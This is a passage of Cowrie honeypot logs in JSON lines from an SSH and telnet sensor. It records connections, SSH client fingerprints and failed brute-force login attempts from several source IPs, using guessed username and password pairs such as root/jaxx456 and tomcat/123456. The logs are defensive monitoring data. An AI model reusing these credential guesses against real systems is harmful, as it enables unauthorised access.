nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:14.108921Z","src_ip":"91.92.40.153","session":"7fa8eefe89df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:15.824924Z","src_ip":"91.92.40.153","session":"7fa8eefe89df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.034849Z","src_ip":"139.99.74.35","session":"618efe7701dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38318,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a5615ef125d","protocol":"ssh","message":"New connection: 139.99.74.35:38318 (159.203.135.109:22) [session: 6a5615ef125d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.272291Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":50376,"dst_ip":"159.203.135.109","dst_port":22,"session":"650c364bd6e8","protocol":"ssh","message":"New connection: 162.144.61.95:50376 (159.203.135.109:22) [session: 650c364bd6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.353545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.357621Z","src_ip":"162.144.61.95","session":"650c364bd6e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.464991Z","src_ip":"162.144.61.95","session":"650c364bd6e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaxx456","message":"login attempt [root/jaxx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:16.791360Z","src_ip":"162.144.61.95","session":"650c364bd6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:17.460010Z","src_ip":"91.92.40.153","session":"7fa8eefe89df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:18.180279Z","src_ip":"162.144.61.95","session":"650c364bd6e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.870288610458374,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:18.285034Z","src_ip":"170.64.224.25","session":"e9da6f40be1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33152,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfcd5463e943","protocol":"ssh","message":"New connection: 160.187.174.22:33152 (159.203.135.109:22) [session: bfcd5463e943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:18.839962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:18.845162Z","src_ip":"160.187.174.22","session":"bfcd5463e943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:19.082889Z","src_ip":"160.187.174.22","session":"bfcd5463e943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47608,"dst_ip":"10.17.0.5","dst_port":22,"session":"615e1a957211","protocol":"ssh","message":"New connection: 91.92.40.153:47608 (10.17.0.5:22) [session: 615e1a957211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:19.641968Z"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:19.796485Z","src_ip":"160.187.174.22","session":"bfcd5463e943","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:19.930631Z","src_ip":"91.92.40.153","session":"615e1a957211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:19.933752Z","src_ip":"91.92.40.153","session":"615e1a957211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:21.036073Z","src_ip":"160.187.174.22","session":"bfcd5463e943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:21.041087Z","src_ip":"139.99.74.35","session":"6a5615ef125d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f796010f6ef7","protocol":"ssh","message":"New connection: 139.99.74.35:38332 (159.203.135.109:22) [session: f796010f6ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:21.264417Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:21.923350Z","src_ip":"91.92.40.153","session":"615e1a957211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:23.500051Z","src_ip":"91.92.40.153","session":"615e1a957211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59002,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc04ea166bd","protocol":"ssh","message":"New connection: 91.92.40.153:59002 (10.17.0.5:22) [session: dcc04ea166bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:25.288450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:25.690281Z","src_ip":"91.92.40.153","session":"dcc04ea166bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:25.693084Z","src_ip":"91.92.40.153","session":"dcc04ea166bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:26.046703Z","src_ip":"139.99.74.35","session":"f796010f6ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59216,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0061d20377","protocol":"ssh","message":"New connection: 139.99.74.35:59216 (159.203.135.109:22) [session: ab0061d20377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:26.281687Z"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:28.417324Z","src_ip":"91.92.40.153","session":"dcc04ea166bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:30.022970Z","src_ip":"91.92.40.153","session":"dcc04ea166bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"00791e4cca51","protocol":"ssh","message":"New connection: 91.92.40.153:59086 (10.17.0.5:22) [session: 00791e4cca51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:31.375252Z"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:31.932379Z","src_ip":"139.99.74.35","session":"ab0061d20377","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:32.045702Z","src_ip":"91.92.40.153","session":"00791e4cca51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:32.050092Z","src_ip":"91.92.40.153","session":"00791e4cca51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":59240,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85a93a3c3db","protocol":"ssh","message":"New connection: 139.99.74.35:59240 (159.203.135.109:22) [session: b85a93a3c3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:32.151768Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:33.415885Z","src_ip":"91.92.40.153","session":"00791e4cca51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:34.518935Z","src_ip":"91.92.40.153","session":"00791e4cca51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:36.959508Z","src_ip":"139.99.74.35","session":"b85a93a3c3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35716,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85053463939","protocol":"ssh","message":"New connection: 139.99.74.35:35716 (159.203.135.109:22) [session: f85053463939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:37.204583Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":36414,"dst_ip":"10.17.0.5","dst_port":22,"session":"3578870c436f","protocol":"ssh","message":"New connection: 198.57.219.18:36414 (10.17.0.5:22) [session: 3578870c436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:37.710793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:37.714865Z","src_ip":"198.57.219.18","session":"3578870c436f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:37.805512Z","src_ip":"198.57.219.18","session":"3578870c436f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uruguay","password":"Montevideo#Crypto$M@st3r","message":"login attempt [uruguay/Montevideo#Crypto$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:38.072681Z","src_ip":"198.57.219.18","session":"3578870c436f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38754,"dst_ip":"10.17.0.5","dst_port":22,"session":"c22f30da30ac","protocol":"ssh","message":"New connection: 91.92.40.153:38754 (10.17.0.5:22) [session: c22f30da30ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:38.287015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:38.308071Z","src_ip":"91.92.40.153","session":"c22f30da30ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:38.380021Z","src_ip":"91.92.40.153","session":"c22f30da30ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:38.751008Z","src_ip":"91.92.40.153","session":"c22f30da30ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:04:39.457818Z","src_ip":"198.57.219.18","session":"3578870c436f","protocol":"ssh"}
